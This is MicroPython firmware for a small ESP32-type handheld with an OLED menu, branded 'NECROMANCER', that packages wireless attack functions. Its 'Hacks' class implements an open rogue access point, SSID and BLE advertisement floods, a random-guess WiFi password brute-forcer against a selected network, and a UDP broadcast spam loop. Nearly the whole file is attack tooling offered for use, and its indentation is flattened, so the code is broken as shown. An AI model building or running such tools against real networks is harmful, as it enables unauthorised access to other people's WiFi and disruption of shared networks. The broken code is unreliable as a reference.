try:
print("BOOTING into FIRMWARE")
import network, time, random, ubinascii, machine
from machine import Pin, I2C
import ubluetooth
import ssd1306
import framebuf
CONNECTED_TO_WIFI = False
I2C_SCL = 5
I2C_SDA = 18
OLED_WIDTH = 128
OLED_HEIGHT = 64
BTN_UP = 0
BTN_DOWN = 2
BTN_SEL = 4
BTN_BACK = 16
i2c = I2C(0, scl=Pin(I2C_SCL), sda=Pin(I2C_SDA))
oled = ssd1306.SSD1306_I2C(OLED_WIDTH, OLED_HEIGHT, i2c)
btn_up = Pin(BTN_UP, Pin.IN, Pin.PULL_UP)
btn_down = Pin(BTN_DOWN, Pin.IN, Pin.PULL_UP)
btn_sel = Pin(BTN_SEL, Pin.IN, Pin.PULL_UP)
btn_back = Pin(BTN_BACK, Pin.IN, Pin.PULL_UP)
def show_boot_wifi_icon():
global oled
boot_icon = bytearray([
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xe0,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0f, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xfe, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07,
0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x03, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xf8, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x01, 0xf8, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0xf8, 0x60, 0x00,
0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x78, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x08, 0x78,
0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x08, 0x38, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f,
0x0c, 0x18, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0x0e, 0x18, 0x7c, 0x00, 0x00, 0x00, 0x00,
0x00, 0x1f, 0x0f, 0x08, 0x7c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x0f, 0x00, 0x7e, 0x00, 0x00,
0x00, 0x00, 0x00, 0x3f, 0x0f, 0x80, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xff, 0xc0, 0x7f,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xff, 0xc0, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xff,
0xe0, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xff, 0xf0, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00,
0x3f, 0xff, 0xf0, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
])
fb = framebuf.FrameBuffer(boot_icon, 65, 65, framebuf.MONO_HLSB)
oled.blit(fb, (oled.width - 65)//2, (oled.height - 75)//2)
oled.fill(0)
oled.show()
show_boot_wifi_icon()
def splash_necromancer_slide(oled):
text = "NECROMANCER 1"
text_width = len(text)*8.5
start_x = OLED_WIDTH
end_x = max((OLED_WIDTH-text_width)//1, 0) - 1
x = start_x
oled.text(text, x, 30)
show_boot_wifi_icon()
while x > end_x:
x -= 1
oled.fill(0)
oled.text(text, x, 50)
oled.text("=====================",0,0)
oled.show()
oled.fill(0)
show_boot_wifi_icon()
oled.text("============================================",0,0)
oled.text("NECROMANCER 1",x,50)
oled.show()
time.sleep(3)
splash_necromancer_slide(oled)
class Menu:
def __init__(self, title, options):
self.title = title
self.options = options
self.index = 0
def draw(self):
oled.fill(0)
if CONNECTED_TO_WIFI:
pass
oled.text(self.title, 0, 0)
for i, option in enumerate(self.options):
prefix = ">" if i == self.index else " "
oled.text(f"{prefix}{option}", 0, 12 + i*10)
oled.show()
def move(self, direction):
self.index = (self.index + direction) % len(self.options)
self.draw()
def select(self):
return self.options[self.index]
class Hacks:
def __init__(self):
self.sta_if = network.WLAN(network.STA_IF)
self.ap_if = network.WLAN(network.AP_IF)
self.sta_if.active(False)
self.ap_if.active(False)
self.cancel = False
self.available_ssids = []
def check_cancel(self):
if not btn_back.value():
self.cancel = True
return True
return False
def wifi_scan(self):
self.cancel = False
self.available_ssids = []
self.ap_if.active(False)
self.sta_if.active(False)
time.sleep(0.1)
self.sta_if.active(True)
time.sleep(0.2)
nets = self.sta_if.scan()
oled.fill(0)
y = 0
for ssid, bssid, ch, rssi, auth, hidden in nets[:5]:
if self.check_cancel(): return
ssid_name = ssid.decode()
self.available_ssids.append(ssid_name)
oled.text(ssid_name, 0, y)
y += 10
oled.show()
time.sleep(5)
def rogue_ap(self, ssid="Personal_WiFi"):
self.cancel = False
self.sta_if.active(False)
self.ap_if.active(True)
self.ap_if.config(essid=ssid, authmode=0)
oled.fill(0)
oled.text("Rogue AP:", 0, 0)
oled.text(ssid, 0, 12)
oled.show()
while not self.check_cancel():
time.sleep(0.1)
def ssid_flood(self):
self.cancel = False
self.ap_if.active(True)
aps = 0
while True:
if self.check_cancel(): return
rtxx = str(random.randint(100,999))
name = f"SSID_{rtxx}"
self.ap_if.config(essid=name)
aps += 1
time.sleep(1)
oled.fill(0)
oled.text(f"Name: {name}", 0, 0)
oled.text(f"APs made: {aps}", 10, 20)
oled.show()
oled.fill(0)
oled.text("SSID Flood", 0, 0)
oled.show()
def wifi_bruteforce(self):
self.wifi_scan()
if not self.available_ssids:
oled.fill(0)
oled.text("No SSID Found", 0, 0)
oled.show()
time.sleep(2)
return
ssid_menu = Menu("Select SSID", self.available_ssids)
ssid_menu.draw()
while True:
if not btn_up.value():
ssid_menu.move(-1)
time.sleep(0.2)
if not btn_down.value():
ssid_menu.move(1)
time.sleep(0.2)
if not btn_sel.value():
target = ssid_menu.select()
self.bruteforce_on_ssid(target)
return
if not btn_back.value():
return
def bruteforce_on_ssid(self, target_ssid):
self.cancel = False
self.sta_if.active(True)
attempts = 0
pw = ""
while attempts != -212 and not self.check_cancel():
oled.fill(0)
oled.text(f"Bruting {target_ssid}", 0, 0)
oled.text(f"P:{pw}", 0, 12)
oled.show()
try:
pwdd = pw
if self.sta_if.isconnected():
self.sta_if.disconnect()
time.sleep(1)
self.sta_if.connect(target_ssid, pw)
time.sleep(2)
for _ in range(10):
if self.check_cancel():
return
if self.sta_if.isconnected():
pw_correct = pwdd
oled.text("Connected!", 0, 25)
global CONNECTED_TO_WIFI
CONNECTED_TO_WIFI = True
oled.show()
return
time.sleep(2)
except Exception as x:
print(x)
return
pw = "".join(random.choice("1234567890!@#$%^*()qwertyiopasdfghjklzxcvbnmQWERTYIOPASDFGHJKLZXCVBNM-=[]\\;',./_+{}|:<>?`~") for _ in range(random.randint(8,10)))
attempts += 1
oled.text("Failed", 0, 36)
oled.show()
def ble_scan(self):
self.cancel = False
bt = ubluetooth.BLE()
bt.active(True)
devices = []
def bt_irq(event, data):
if event == 5:
addr_type, addr, adv_type, rssi, adv_data = data
devices.append((ubinascii.hexlify(addr).decode(), rssi))
bt.irq(bt_irq)
bt.gap_scan(3000, 3000, 30000)
t0 = time.ticks_ms()
while time.ticks_diff(time.ticks_ms(), t0) < 3000:
if self.check_cancel(): return
time.sleep(0.05)
oled.fill(0)
for d, r in devices[:3]:
oled.text(d[-6:], 0, 12 + devices.index((d,r))*10)
oled.show()
def ble_flood(self):
self.cancel = False
bt = ubluetooth.BLE()
bt.active(True)
for i in range(20):
if self.check_cancel(): return
name = f"RickRoll_{i}"
bt.config(gap_name=name)
bt.gap_advertise(100)
time.sleep(0.1)
oled.fill(0)
oled.text("BLE Flood", 0, 0)
oled.show()
def PortAP(self):
oled.fill(0)
oled.text("Please Wait...", 10,25)
oled.show()
self.cancel = False
self.ap_if.active(False)
ap_name = f"AP32_{random.randint(100,999)}"
ap_pass = str(random.randint(10000000,999999999))
print(ap_pass)
self.ap_if.config(essid=ap_name, password=ap_pass, authmode=network.AUTH_WPA_WPA2_PSK)
oled.fill(0)
oled.show()
self.ap_if.active(True)
while not self.check_cancel():
time.sleep(0.2)
oled.fill(0)
oled.text(f"Name: {ap_name}", 0, 0)
oled.text(f"Pass: {ap_pass}", 0, 40)
oled.show()
def spamUDP(self):
try:
size = 0.0
import urequests
global oled
import socket
udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
GetSize = 0
broadcast_ip = '192.168.1.255'
port = 4210
oled.fill(0)
while True:
if self.check_cancel(): return
oled.fill(0)
random_ip = f"{random.randint(1,254)}.{random.randint(0,254)}.{random.randint(0,254)}.{random.randint(0,254)}"
message = f"who has {random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}{random_ip}?"*15
udp.sendto(message.encode(), (broadcast_ip, port))
msgg = ("sent:"+ message)
oled.text("who has",0,0)
oled.text(random_ip,0,10)
payload_size = len(message.encode())
udp_header = 8
ip_header = 20
packet_size = payload_size + udp_header + ip_header
size = round(size + (packet_size/1024), 3)
mbsize = round(size/1024,3)
oled.text(f"{str(size)} kB",0,20)
oled.text(f"{str(mbsize)} mB",0,30)
oled.text(f"{str(round(mbsize/1024, 3))} gB",0,40)
oled.show()
except:
pass
hacks = Hacks()
main_menu = Menu("NECROMANCER \n", [
"WiFi Scan",
"SSID Flood",
"WiFi Brute",
"Porta AP",
"SPAM UDP",
"-"
])
main_menu.draw()
while True:
if not btn_up.value():
main_menu.move(-1)
time.sleep(0.3)
if not btn_down.value():
main_menu.move(1)
time.sleep(0.3)
if ( not btn_up.value() and not btn_down.value()):
time.sleep(1)
if not (btn_up.value() and btn_down.value()):
machine.reset()
if ( not btn_back.value() and not btn_sel.value()):
if not (btn_up.value() and btn_sel.value()):
machine.deepsleep()
if not btn_sel.value():
choice = main_menu.select()
if choice == "WiFi Scan":
hacks.wifi_scan()
elif choice == "SSID Flood":
hacks.ssid_flood()
elif choice == "WiFi Brute":
hacks.wifi_bruteforce()
elif choice == "Porta AP":
hacks.PortAP()
elif choice == "SPAM UDP":
hacks.spamUDP()
elif choice == "-":
oled.fill(0)
while (btn_back.value() and btn_up.value()):
text =(random.choice(["ooga booga", 'NECROMANCER', 'HACKS', 'Hacking', "ILoveHacking", 'NecromancerRevolution', '403', "Forbidden", 'TheNecromancerRevolution', 'TheNecromancerRevolution', 'TheNecromancerRevolution', 'TheNecromancerRevolution']))
oled.show()
text_width = len(text)*8.5
start_x = 0
end_x = 150
x = start_x
oled.text("***********************",0,0)
oled.show()
while x < end_x and text != " ":
oled.show()
oled.text(text, x, OLED_HEIGHT//2-8,1)
oled.text(text, x, (10 + OLED_HEIGHT//2-8),1)
oled.text(text, x-random.randint(1,10), OLED_HEIGHT//2-8,0)
oled.text(text, x, OLED_HEIGHT//2-8,1)
oled.text(text, x, (10 + OLED_HEIGHT//2-8),1)
oled.text(text, x-random.randint(1,10), 10+OLED_HEIGHT//2-8,0)
oled.text(text, x, (20 + OLED_HEIGHT//2-8),1)
oled.text(text, x-random.randint(1,10), 20+OLED_HEIGHT//2-8,0)
oled.text(text, x, (30 + OLED_HEIGHT//2-8),1)
oled.text(text, x-random.randint(1,10), 30+OLED_HEIGHT//2-8,0)
oled.text(text, x, (-10 + OLED_HEIGHT//2-8),1)
oled.text(text, x-random.randint(1,10),(-10)+OLED_HEIGHT//2-8,0)
x += 1
if not btn_back.value():
hacks.cancel = True
main_menu.draw()
time.sleep(0.2)
except Exception as e:
from machine import Pin, I2C, reset
import time, ssd1306
I2C_SCL = 5
I2C_SDA = 18
OLED_WIDTH = 128
OLED_HEIGHT = 64
i2c = I2C(0, scl=Pin(I2C_SCL), sda=Pin(I2C_SDA))
oled = ssd1306.SSD1306_I2C(OLED_WIDTH, OLED_HEIGHT, i2c)
oled.fill(0)
oled.show()
oled.text("Fatal Error",0,0)
oled.text(str(e),0,20)
oled.show()
time.sleep(22/7)
reset()
UP
back
select
down